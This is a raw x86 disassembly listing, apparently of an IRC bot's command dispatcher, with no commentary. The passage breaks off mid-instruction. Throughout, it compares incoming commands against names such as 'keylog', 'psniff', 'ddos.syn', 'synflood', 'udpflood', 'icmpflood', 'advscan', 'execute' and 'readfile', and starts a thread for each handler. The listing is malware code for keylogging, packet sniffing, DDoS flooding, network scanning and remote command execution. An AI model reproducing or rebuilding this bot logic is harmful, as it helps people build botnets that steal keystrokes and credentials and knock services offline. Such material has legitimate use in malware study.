pop ecx
jz loc_409531
push [ebp+arg_8]
push offset aPart_0 ; "part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409515
push [ebp+arg_8]
push offset aPt ; "pt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409515
push [ebp+arg_8]
push offset aRaw ; "raw"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4094DB
push [ebp+arg_8]
push offset aR ; "r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4094DB
push [ebp+arg_8]
push offset aKillthread ; "killthread"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409418
push [ebp+arg_8]
push offset aK ; "k"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409418
push [ebp+arg_8]
push offset aC_quit ; "c_quit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40936D
push [ebp+arg_8]
push offset aC_q ; "c_q"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40936D
push [ebp+arg_8]
push offset aC_rndnick ; "c_rndnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40931F
push [ebp+arg_8]
push offset aC_rn ; "c_rn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40931F
push [ebp+arg_8]
push offset aPrefix ; "prefix"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40930A
push [ebp+arg_8]
push offset aPr ; "pr"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40930A
push [ebp+arg_8]
push offset aOpen ; "open"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092E0
push [ebp+arg_8]
push offset aO ; "o"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092E0
push [ebp+arg_8]
push offset aServer ; "server"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092C7
push [ebp+arg_8]
push offset aSe ; "se"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092C7
push [ebp+arg_8]
push offset aDns ; "dns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40925F
push [ebp+arg_8]
push offset aDn ; "dn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40925F
push [ebp+arg_8]
push offset aKillproc ; "killproc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409233
push [ebp+arg_8]
push offset aKp ; "kp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409233
push [ebp+arg_8]
push offset aKill ; "kill"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091D8
push [ebp+arg_8]
push offset aKi ; "ki"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091D8
push [ebp+arg_8]
push offset aDelete ; "delete"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091A0
push [ebp+arg_8]
push offset aDel ; "del"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091A0
push [ebp+arg_8]
push offset aGet ; "get"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090C3
push [ebp+arg_8]
push offset aGt ; "gt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090C3
push [ebp+arg_8]
push offset aList ; "list"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push [ebp+arg_8]
push offset aLi ; "li"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push [ebp+arg_8]
push offset aVisit ; "visit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408FB5
push [ebp+arg_8]
push offset aV ; "v"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408FB5
push [ebp+arg_8]
push offset aMirccmd ; "mirccmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F6F
push [ebp+arg_8]
push offset aMirc ; "mirc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F6F
push [ebp+arg_8]
push offset aCmd ; "cmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F18
push [ebp+arg_8]
push offset aCm ; "cm"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F18
push [ebp+arg_8]
push offset aReadfile ; "readfile"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408EA1
push [ebp+arg_8]
push offset aRf ; "rf"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408EA1
push [ebp+arg_8]
push offset aPsniff ; "psniff"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405C9F
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405C67
push 20h
call sub_40B602
test eax, eax
pop ecx
jle short loc_405B91
push offset dword_42B68C
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405B91: ; CODE XREF: sub_401ACD+40B8j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_F5C], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED4], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_ED0], eax
jnz short loc_405BD3
mov esi, offset aF_1 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405BD3
mov esi, [ebp+var_88]
loc_405BD3: ; CODE XREF: sub_401ACD+40E8j
; sub_401ACD+40FEj
push esi
lea eax, [ebp+var_F58]
push 80h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B65C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 20h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_ED8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F5C]
push ebx
push eax
push offset sub_412B61
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_ED8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_405C56
loc_405C40: ; CODE XREF: sub_401ACD+4187j
cmp [ebp+var_ECC], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_405C40
; ---------------------------------------------------------------------------
loc_405C56: ; CODE XREF: sub_401ACD+4171j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42B620
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405C67: ; CODE XREF: sub_401ACD+40A8j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 20h
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C95
push eax
push offset dword_42B5E4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405C95: ; CODE XREF: sub_401ACD+41BBj
push offset dword_42B5B8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405C9F: ; CODE XREF: sub_401ACD+4093j
push [ebp+arg_8]
push offset aSniffer ; "sniffer"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405DEF
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405DB7
push 21h
call sub_40B602
test eax, eax
pop ecx
jle short loc_405CE1
push offset unk_42B590
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405CE1: ; CODE XREF: sub_401ACD+4208j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_E40], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E3C], eax
jnz short loc_405D23
mov esi, offset aF_1 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405D23
mov esi, [ebp+var_88]
loc_405D23: ; CODE XREF: sub_401ACD+4238j
; sub_401ACD+424Ej
push esi
lea eax, [ebp+var_EC4]
push 80h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset unk_42B564
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 21h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_E44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC8]
push ebx
push eax
push offset sub_4131EC
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_E44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_405DA6
loc_405D90: ; CODE XREF: sub_401ACD+42D7j
cmp [ebp+var_E38], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_405D90
; ---------------------------------------------------------------------------
loc_405DA6: ; CODE XREF: sub_401ACD+42C1j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42B528
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405DB7: ; CODE XREF: sub_401ACD+41F8j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 21h
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DE5
push eax
push offset unk_42B4EC
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405DE5: ; CODE XREF: sub_401ACD+430Bj
push offset unk_42B4C0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405DEF: ; CODE XREF: sub_401ACD+41E3j
push [ebp+arg_8]
push offset aIdent ; "ident"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405EC2
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405E8A
push 2
call sub_40B602
test eax, eax
pop ecx
jle short loc_405E2D
push offset dword_42B498
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405E2D: ; CODE XREF: sub_401ACD+4354j
lea eax, [ebp+var_2C4]
push offset dword_42B46C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 2
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset sub_410BFD
push ebx
push ebx
call dword_427084 ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz loc_4081AD
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42B438
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405E8A: ; CODE XREF: sub_401ACD+4348j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 2
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405EB8
push eax
push offset dword_42B400
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405EB8: ; CODE XREF: sub_401ACD+43DEj
push offset dword_42B3E0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405EC2: ; CODE XREF: sub_401ACD+4333j
push [ebp+arg_8]
push offset aKeyloger ; "keyloger"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408D24
push [ebp+arg_8]
push offset aKeylog ; "keylog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408D24
push [ebp+arg_8]
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408CFB
push [ebp+arg_8]
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408CFB
push [ebp+arg_8]
push offset aNet ; "net"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40616D
cmp dword_4CBAA4, ebx
jz short loc_405F4F
cmp dword_4CBACC, ebx
jz short loc_405F4F
push offset unk_42B388
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405F4F: ; CODE XREF: sub_401ACD+446Ej
; sub_401ACD+4476j
cmp [ebp+var_C], ebx
jz loc_406BFE
mov eax, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_405F77
push eax
push [ebp+var_C]
call sub_41C2E0
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_405F77: ; CODE XREF: sub_401ACD+449Aj
push edi
push offset aStart ; "start"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FC3
cmp [ebp+arg_18], ebx
jz short loc_405F97
push [ebp+arg_0]
push 3
jmp loc_406021
; ---------------------------------------------------------------------------
loc_405F97: ; CODE XREF: sub_401ACD+44BEj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418EA8
add esp, 0Ch
test eax, eax
jz short loc_405FB9
push offset unk_42B35C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405FB9: ; CODE XREF: sub_401ACD+44E0j
push offset unk_42B33C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405FC3: ; CODE XREF: sub_401ACD+44B9j
push edi
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FDB
push [ebp+arg_0]
push 4
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_405FDB: ; CODE XREF: sub_401ACD+4505j
push edi
push offset aPause ; "pause"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FF3
push [ebp+arg_0]
push 5
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_405FF3: ; CODE XREF: sub_401ACD+451Dj
push edi
push offset aContinue ; "continue"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40600B
push [ebp+arg_0]
push 6
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_40600B: ; CODE XREF: sub_401ACD+4535j
push edi
push offset aDelete ; "delete"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406033
push [ebp+arg_0]
push 1
loc_406021: ; CODE XREF: sub_401ACD+44C5j
; sub_401ACD+450Cj ...
call sub_418C0E
pop ecx
pop ecx
loc_406028: ; CODE XREF: sub_401ACD+459Fj
; sub_401ACD+4628j ...
push eax
push offset aS_2 ; "%s"
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_406033: ; CODE XREF: sub_401ACD+454Dj
push edi
push offset aShare ; "share"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40609B
cmp [ebp+arg_18], ebx
jz short loc_40606E
cmp [ebp+var_8FC], bl
jz short loc_406059
push ebx
push [ebp+arg_18]
push 1
jmp short loc_406064
; ---------------------------------------------------------------------------
loc_406059: ; CODE XREF: sub_401ACD+4582j
push [ebp+esi+var_84]
push [ebp+arg_18]
push ebx
loc_406064: ; CODE XREF: sub_401ACD+458Aj
call sub_418FE5
add esp, 0Ch
jmp short loc_406028
; ---------------------------------------------------------------------------
loc_40606E: ; CODE XREF: sub_401ACD+457Aj
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4191DB
add esp, 10h
test eax, eax
jz short loc_406091
push offset unk_42B2FC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406091: ; CODE XREF: sub_401ACD+45B8j
push offset unk_42B2DC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40609B: ; CODE XREF: sub_401ACD+4575j
push edi
push offset aUser ; "user"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406127
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_4060FA
cmp [ebp+var_8FC], bl
jz short loc_4060CD
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_4060ED
; ---------------------------------------------------------------------------
loc_4060CD: ; CODE XREF: sub_401ACD+45ECj
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_4060E9
push esi
push eax
push ebx
jmp short loc_4060ED
; ---------------------------------------------------------------------------
loc_4060E9: ; CODE XREF: sub_401ACD+4615j
push ebx
push eax
push 2
loc_4060ED: ; CODE XREF: sub_401ACD+45FEj
; sub_401ACD+461Aj
call sub_4192FC
add esp, 18h
jmp loc_406028
; ---------------------------------------------------------------------------
loc_4060FA: ; CODE XREF: sub_401ACD+45E4j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41982C
add esp, 10h
test eax, eax
jz short loc_40611D
push offset unk_42B2BC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40611D: ; CODE XREF: sub_401ACD+4644j
push offset unk_42B29C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406127: ; CODE XREF: sub_401ACD+45DDj
push edi
push offset aSend ; "send"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406163
cmp [ebp+arg_18], ebx
jz short loc_406159
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419AE0
add esp, 10h
jmp loc_406028
; ---------------------------------------------------------------------------
loc_406159: ; CODE XREF: sub_401ACD+466Ej
push offset unk_42B270
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406163: ; CODE XREF: sub_401ACD+4669j
push offset unk_42B254
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40616D: ; CODE XREF: sub_401ACD+4462j
push [ebp+arg_8]
push offset aGethost ; "gethost"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
push [ebp+arg_8]
push offset aGh ; "gh"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj
; sub_401ACD+3CC5j ...
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401F75
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BBE
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BBE
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B6D
push [ebp+arg_8]
push offset dword_42B938
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B6D
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B04
push [ebp+arg_8]
push offset aA ; "a"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B04
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A9E
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A9E
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A64
push [ebp+arg_8]
push offset aM ; "m"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A64
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4089F6
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4089F6
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408971
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408971
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408900
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408900
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4088DA
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4088DA
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40887A
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40887A
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40877F
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40877F
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4086AA
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4086AA
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4085A5
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4085A5
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8]
push offset aHadeth3 ; "HADETH3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408379
push [ebp+arg_8]
push offset aHadeth3 ; "HADETH3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408379
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4082E6
push [ebp+arg_8]
push offset aE ; "e"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4082E6
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4081D7
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4081D7
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408160
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408160
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408063
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408063
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401F75
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407F7B
push [ebp+arg_8]
push offset aC ; "c"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407F7B
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4066AE
push 7Fh
lea eax, [ebp+var_3280]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3200]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3180]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3100]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3078], eax
push ebx
lea eax, [ebp+var_2C4]
push 13h
push eax
mov [ebp+var_307C], edi
mov [ebp+var_3284], esi
call sub_40B3BA
add esp, 3Ch
mov [ebp+var_3080], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3284]
push ebx
push eax
push offset sub_41525A
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_3080]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40669D
loc_406687: ; CODE XREF: sub_401ACD+4BCEj
cmp [ebp+var_3074], ebx
jnz loc_403D46
push 32h
call dword_427080 ; Sleep
jmp short loc_406687
; ---------------------------------------------------------------------------
loc_40669D: ; CODE XREF: sub_401ACD+4BB8j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42B0E0
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407D9A
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407D9A
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4067DB
push 7Fh
lea eax, [ebp+var_36A8]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3628]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_35A8]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3528]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A4], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_34A0], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_36AC], esi
push edi
push offset dword_42B098
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 10h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_34A8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36AC]
push ebx
push eax
push offset sub_4141B2
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_34A8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4067CA
loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj
cmp [ebp+var_349C], ebx
jnz loc_407196
push 32h
call dword_427080 ; Sleep
jmp short loc_4067B4
; ---------------------------------------------------------------------------
loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42B05C
jmp loc_407187
; ---------------------------------------------------------------------------
loc_4067DB: ; CODE XREF: sub_401ACD+4C20j
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407CB2
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407CB2
push [ebp+arg_8]
push offset aNazel3 ; "NAZEL3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407B74
push [ebp+arg_8]
push offset aNazel3 ; "NAZEL3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407B74
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407A77
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407A77
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407984
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407984
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407887
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407887
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407797
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407797
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_401F75
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407691
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407691
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4071B6
push [ebp+arg_8]
push offset aAd ; "ad"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4071B6
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aU ; "u"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
